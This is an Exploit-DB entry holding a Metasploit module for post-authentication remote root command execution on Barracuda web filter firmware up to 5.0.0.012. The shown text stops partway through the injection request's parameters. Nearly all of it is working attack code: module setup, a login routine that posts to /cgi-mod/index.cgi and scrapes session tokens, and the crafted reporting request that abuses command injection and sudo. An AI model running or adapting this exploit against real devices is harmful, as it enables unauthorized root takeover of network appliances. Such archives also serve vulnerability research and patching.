Exploit-DB #36690
Description: Barracuda Firmware 5.0.0.012 - (Authenticated) Remote Command Execution (Metasploit)
Type: remote
Platform: linux
Date: 2015-04-09
Author: xort

Exploit:
# Exploit Title: Barracuda Firmware <= 5.0.0.012 Post Auth Remote Root exploit
# Exploit Author: xort
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/products/webfilter
# Version: Firmware <= 5.0.0.012 
# Tested on: Vx and Hardware platforms 
#
# Postauth remote root in Barracuda Firmware <= 5.0.0.012 for any under priviledged user with report generating
# capablities. This exploit leverages a command injection bug along with poor sudo permissions to obtain
# root. xort@blacksecurity.org

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking
	include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Barracuda Firmware <= 5.0.0.012 reporting Post Auth Remote Root',
					'Description'    => %q{
					This module exploits a remote command execution vulnerability in
				the Barracuda Firmware Version <= 5.0.0.012 by exploiting a
				vulnerability in the web administration interface.
					By sending a specially crafted request it's possible to inject system
				 commands while escalating to root do to relaxed sudo configuration on the local 
				machine.
			},
			'Author'         =>
				[
					'xort', # metasploit module
				],
			'Version'        => '$Revision: 12345 $',
			'References'     =>
				[
					[ 'none', 'none'],
				],
			'Platform'      => [ 'linux'],
			'Privileged'     => true,
			 'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

		        'Payload'        =>
                                { # note: meterpreter can't run on host do to kernel 2.4 incompatabilities + this is stable 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

			'Targets'        =>
				[
					['Linux Universal',
						{
								'Arch' => ARCH_X86,
								'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget' => 0))

			register_options(
				[
					OptString.new('PASSWORD', [ false, 'Device password', "" ]),	
					OptString.new('ET', [ false, 'Device password', "" ]),
			         	OptString.new('USERNAME', [ true, 'Device password', "admin" ]),	
					OptString.new('CMD', [ false, 'Command to execute', "" ]),	
					Opt::RPORT(8000),
				], self.class)
	end

	def do_login(username, password, et)
		vprint_status( "Logging into machine with credentials...\n" )
		
	      # timeout
		timeout = 1550;

		# params
                password_clear = "admin"
		real_user = "";
		login_state = "out"
		enc_key = Rex::Text.rand_text_hex(32)
   		et = "[PII_REDACTED]"
		locale = "en_US"
		user = username
		[CREDENTIAL_REDACTED]::MD5.hexdigest(username+enc_key) 
		enctype = "MD5"
		password_entry = ""
		
		
		vprint_status( "Starting first routine...\n" )

                data = "real_user=#{real_user}&login_state=#{login_state}&enc_key=#{enc_key}&et=#{et}&locale=#{locale}&user=#{user}&password=#{password}&enctype=#{enctype}&password_entry=#{password_entry}&password_clear=#{password_clear}&Submit=Login"
	
		vprint_status( "#{data}\n" )
		
	        res = send_request_cgi(
      	        {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
                      'cookie'  => "",
		      'data'    => data
               }, timeout)


		vprint_status( "login got code: #{res.code} ... continuing to second request..." )
		File.open("/tmp/output2", 'w+') {|f| f.write(res.body) }

		# get rid of first yank 
		password = res.body.split('\n').grep(/(.*)id=\"password\" value=\"(.*)\"/){$2}[0] #change to match below for more exact result
		et = res.body.split('\n').grep(/(.*)id=\"et\" value=\"([^\"]+)\"/){$2}[0]

		vprint_status( "password got back = #{password} - et got back = #{et}\n" )

		return password, et
	end

	def run_command(username, password, et, cmd)
		vprint_status( "Running Command...\n" )

	 	exploitreq = [
		[ "primary_tab", "BASIC" ],
		[ "secondary_tab","reports" ],
		[ "realm","" ],
		[ "auth_type","Local" ],
		[ "user", username ],
		[ "password", password  ],
		[ "et",et ],
		[ "role","" ],
		[ "locale","en_US" ],
		[ "q","" ],
		[ "UPDATE_new_report_time_frame","custom" ],
		[ "report_start","2013-01-25 01:14" ],
		[ "report_end","2013-01-25 02:14" ],
		[ "type","" ],
		[ "ntlm_server","" ],
		[ "kerb_server","" ],
		[ "local_group","changeme" ],           
		[ "ip_group","20.20.108.0/0.0.0.0" ],  
		[ "ip_address__0","" ],
		[ "ip_address__1","" ],
		[ "ip_address__2","" ],
		[ "ip_address__3","" ],
		[ "netmask__0","" ],
		[ "netmask__1","" ],
		[ "netmask__2","" ],
		[ "netmask__3","" ],
		[ "UPDATE_new_report_pattern_values","" ],
		[ "UPDATE_new_report_pattern_text","" ],
		[ "UPDATE_new_report_filter_destination","domain" ],
		[ "filter_domain","" ],
		[ "UPDATE_new_report_filter_domain","" ],
		[ "UPDATE_new_report_filter_category","" ],
		[ "UPDATE_new_report_exclude_from","" ],
		[ "UPDATE_new_report_exclude_to","" ],
		[ "UPDATE_new_report_exclude_days","" ],
		[ "allow","allow" ],
		[ "block","block" ],
		[ "warn","warn" ],
		[ "monitor","monitor" ],
		[ "UPDATE_new_report_filter_actions","allow,block,warn,monitor" ],
		[ "UPDATE_new_report_filter_count","10" ],
		[ "UPDATE_new_report_chart_type","vbar" ],
		[ "UPDATE_new_report_format","html" ],
		[ "DEFAULT_new_report_group_expand","No" ],
		[ "UPDATE_new_report_expand_user_count","5" ],
		[ "UPDATE_new_report_expand_domain_count","5" ],
		[ "UPDATE_new_report_expand_cat_count","5" ],
		[ "UPDATE_new_report_expand_url_count","5" ],
		[ "UPDATE_new_report_expand_threat_count","5" ],
		[ "report","on" ],
		[ "